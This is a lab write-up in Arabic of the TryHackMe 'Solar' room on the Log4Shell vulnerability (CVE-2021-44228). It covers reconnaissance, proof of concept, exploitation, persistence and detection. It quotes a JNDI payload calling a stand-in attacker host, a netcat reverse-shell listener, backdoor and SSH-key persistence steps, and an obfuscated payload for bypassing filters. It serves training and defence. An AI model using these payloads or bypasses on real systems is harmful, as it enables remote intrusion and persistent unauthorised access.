THM---Solar-exploiting-Log-4j

تعتمد هذه الغرفة على استغلال الثغرة الأمنية الشهيرة Log4j (CVE-2021-44228)، والتي تُعرف أيضًا باسم Log4Shell. تُمكّن هذه الثغرة المهاجمين من تنفيذ تعليمات برمجية عن بُعد عبر حقن الحمولات الضارة في رسائل السجلات.

المهمة 1 – مقدمة عن CVE-2021-44228

في هذه المهمة، تعلمت عن ثغرة Log4Shell (CVE-2021-44228) في مكتبة Apache Log4j. • Log4j هي مكتبة تسجيل Java واسعة الاستخدام. • تسمح الثغرة بتنفيذ تعليمات برمجية عن بُعد (RCE) عبر استعلامات JNDI. • يمكن للمهاجمين حقن حمولات مثل: ${jndi:ldap://attacker.com/a} • عند تسجيلها، يتصل الخادم بالخادم الذي يتحكم به المهاجم وينفذ تعليمات برمجية خبيثة. 👉 أظهر هذا مدى خطورة تسجيل مدخلات المستخدم دون تنقيتها.

المهمة 2 – الاستطلاع

هنا، بدأت التفاعل مع النظام المستهدف. • الوصول إلى تطبيق الويب. • تحديد حقول الإدخال ورؤوس الطلبات التي قد يتم تسجيلها. • ملاحظة كيفية معالجة التطبيق لمدخلات المستخدم. 👉 الهدف: العثور على مكان استخدام Log4j وأين يمكن حقن الحمولات.

المهمة 3 – الاكتشاف

في هذه الخطوة، أكدت وجود الثغرة. • اختبار حقن الحمولات في رؤوس مثل: • User-Agent • X-Forwarded-For • التحقق من وجود اتصالات صادرة أو استجابات. 👉 ساعد هذا في التحقق من أن التطبيق معرض لـ Log4Shell.

المهمة 4 – إثبات المفهوم

أنشأت إثبات مفهوم عملي (PoC) لإظهار الثغرة. • إعداد مستمع/خادم لكشف طلبات العودة. • حقن حمولة JNDI. • ملاحظة أن الهدف أرسل طلبًا إلى خادمي. 👉 أكد هذا وجود تفاعل عن بُعد → الثغرة قابلة للاستغلال.

المهمة 5 – الاستغلال

هنا، انتقلت من إثبات المفهوم إلى الاستغلال الكامل. • استضافة حمولة خبيثة (فئة Java أو سكريبت). • استخدام حقن JNDI لإجبار الخادم على تحميلها. • الحصول على شل عكسي. مثال: nc -lvnp 4444 👉 نجحت في تحقيق تنفيذ تعليمات برمجية عن بُعد.

المهمة 6 – الثبات

بعد الحصول على الوصول، ضمنت استمرار الوصول. • إنشاء أبواب خلفية أو إضافة مفاتيح SSH. • تعديل إعدادات النظام إذا لزم الأمر. 👉 يضمن هذا الوصول حتى بعد إعادة التشغيل أو فقدان الجلسة.

المهمة 7 – الكشف

ركزت هذه المهمة على تحديد الهجمات. • تعلمت كيف تظهر استغلالات Log4j في السجلات. • المؤشرات: • أنماط ${jndi:ldap://...} • حركة LDAP/DNS صادرة مشبوهة 👉 مهم للفرق الزرقاء لكشف محاولات الاستغلال.

المهمة 8 – التجاوزات

هنا، استكشفت كيفية تجاوز المهاجمين لعوامل التصفية. • تقنيات الإبهام: ${${lower:j}${lower:n}${lower:d}${lower:i}:...} • ترميز الحمولات لتجنب الكشف. 👉 يظهر أن التصفية البسيطة غير كافية.